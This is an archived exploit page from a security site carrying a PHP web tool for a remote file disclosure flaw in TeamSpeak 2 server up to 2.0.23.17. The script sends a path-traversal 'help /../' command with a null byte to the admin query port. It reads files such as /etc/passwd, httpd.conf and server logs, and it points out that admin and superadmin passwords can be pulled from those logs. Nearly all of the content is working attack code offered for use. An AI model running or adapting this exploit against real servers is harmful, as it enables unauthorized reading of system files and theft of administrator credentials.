首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TeamSpeak <= 2.0.23.17 Remote File Disclosure Vulnerability
来源:www.vfcocus.net 作者:c411k 发布时间:2009-01-14  
<?php
// teamspeak server <= 2.0.23.17 remote read file vulnerability
// bug found and exploit write by c411k
// http://www.heise-online.co.uk/security/Vulnerability-in-TeamSpeak-2-server--/news/93734 zazhali ploent svolo4i!!
// tested on win ts2_server_rc2_202317, ts2_server_rc2_20201.exe
// grats all https://forum.antichat.ru
// use http://localhost/ts_xek.php
// 10.01.09

error_reporting(0);
@ini_set("max_execution_time",0);
@ini_set('output_buffering',0);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
@ob_implicit_flush(1);

header("Content-Type: text/html; charset=utf-8\r\n");
header("Pragma: no-cache");

function check_ver($site, $xek, $port)
{
$url = fsockopen("$site", "$port", $errno, $errstr, 22);
$send_pac = "$xek\r\n\r\n";
fputs($url, $send_pac);
$s = '';

while (!feof($url) and strpos(implode($s), 'OK') === false)
{
$s[] = fgets($url, 1028);
}
fclose($url);
return implode($s);
}

function html()
{
if (isset($_POST['file']))
$file = $_POST['file'];
else $file = '../../../../../etc/passwd';
echo
'<pre><form action="'.$_SERVER['PHP_SELF'].'?go_fuck" method="post">
<input style="background-color: #31333B; color: #B9B9BD; border-color: #646C71;" name="parampampam" type="submit" value="&#8194;read file...&#8194;">
<input style="background-color: #31333B; color: #B9B9BD; border-color: #646C71;" name="check_ver" type="submit" value="&#8194;check_version&#8194;"><br>
<input style="background-color: #31333B; color: #B9B9BD;" name="hostname" value="localhost"><font color="#B9B9BD">&#8194;&#172; teamspeak hostname or ip, for expamle "ts.antichat.ru"
<input style="background-color: #31333B; color: #B9B9BD;" name="port" value="51234"><font color="#B9B9BD">&#8194;&#172; port to TCQquery admin, default 51234
<input style="background-color: #31333B; color: #B9B9BD;" name="file" value="'.$file.'"><font color="#B9B9BD">&#8194;&#172; file to read.';
}

function info()
{
echo
'<br>
for example:
server.log
server.dbs
../../../../../boot.ini
../../../../../etc/passwd
../../../../../usr/local/apache/conf/httpd.conf etc.
brain on ;)

admin and superadmin passwords you can see in server.log or server.dbs. but in windows i can\'t read this files.

<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>---------------------------------------------------------------
-------------- log started at 10-01-09 00:24 -------------
---------------------------------------------------------------
10-01-09 00:24:28,ALL,Info,server, Server init initialized
10-01-09 00:24:28,ALL,Info,server, Server version: 2.0.20.1 Win32
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_servers
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_server_privileges
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_channels
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_channel_privileges
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_clients
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_bans
10-01-09 00:24:28,ALL,Info,server, Starting VirtualServer id:1 with port:8767
10-01-09 00:24:28,WARNING,Info,SERVER, Default VirtualServer created
10-01-09 00:24:28,WARNING,Info,SERVER, admin account info: username: admin password: kcqy8y
10-01-09 00:24:28,WARNING,Info,SERVER, superadmin account info: username: superadmin password: e7em45
10-01-09 00:24:29,ALL,Info,server, Server init finished</textarea></form>';
}

function head()
{
echo '<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>xek_teamspeak2</title>
<style>
<!--
A:link {COLOR: #B9B9BD; TEXT-DECORATION: none}
A:visited {COLOR: #B9B9BD; TEXT-DECORATION: none}
A:active {COLOR: #228B22; TEXT-DECORATION: none}
A:hover {COLOR: #E7E7EB; TEXT-DECORATION: underline}
BODY
{
margin="5";
FONT-WEIGHT: normal;
COLOR: #B9B9BD;
BACKGROUND: #44474F;
FONT-FAMILY: Courier new, Courier, Verdana, Arial, Helvetica, sans-serif;
}

-->
</style>
</head>
<body>';
}

head();

if (!$_GET)
{
html();
info();
}

if (isset($_GET['go_fuck']))
{
$hostname = $_POST['hostname'];
$file = $_POST['file'];
$port = $_POST['port'];

if (isset($_POST['check_ver']))
{
echo '<pre>'.check_ver($hostname, 'ver', $port);

}

if (isset($_POST['parampampam']))
{
echo '<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>'.check_ver($hostname, 'help /../'.$file."\0", $port).'</textarea>';
html();

}
}

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Denial of service exploit that
·EDraw Office Viewer 5.4 HttpDo
·Ciansoft PDFBuilderX version 2
·Cisco VLAN Trunking Protocol D
·Word Viewer OCX 3.2 Remote Fil
·KDE Konqueror 4.1.3 'link href
·Nofeel FTP Server 3.6 (CWD) Re
·KDE Konqueror 4.1.3 'iframe sr
·PowerPoint Viewer OCX 3.1 Remo
·3ctftpsvc Buffer Overflow (Lon
·>HSPell 1.1 (cilla.cgi) Remote
·3CTftpSvc transport mode name
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved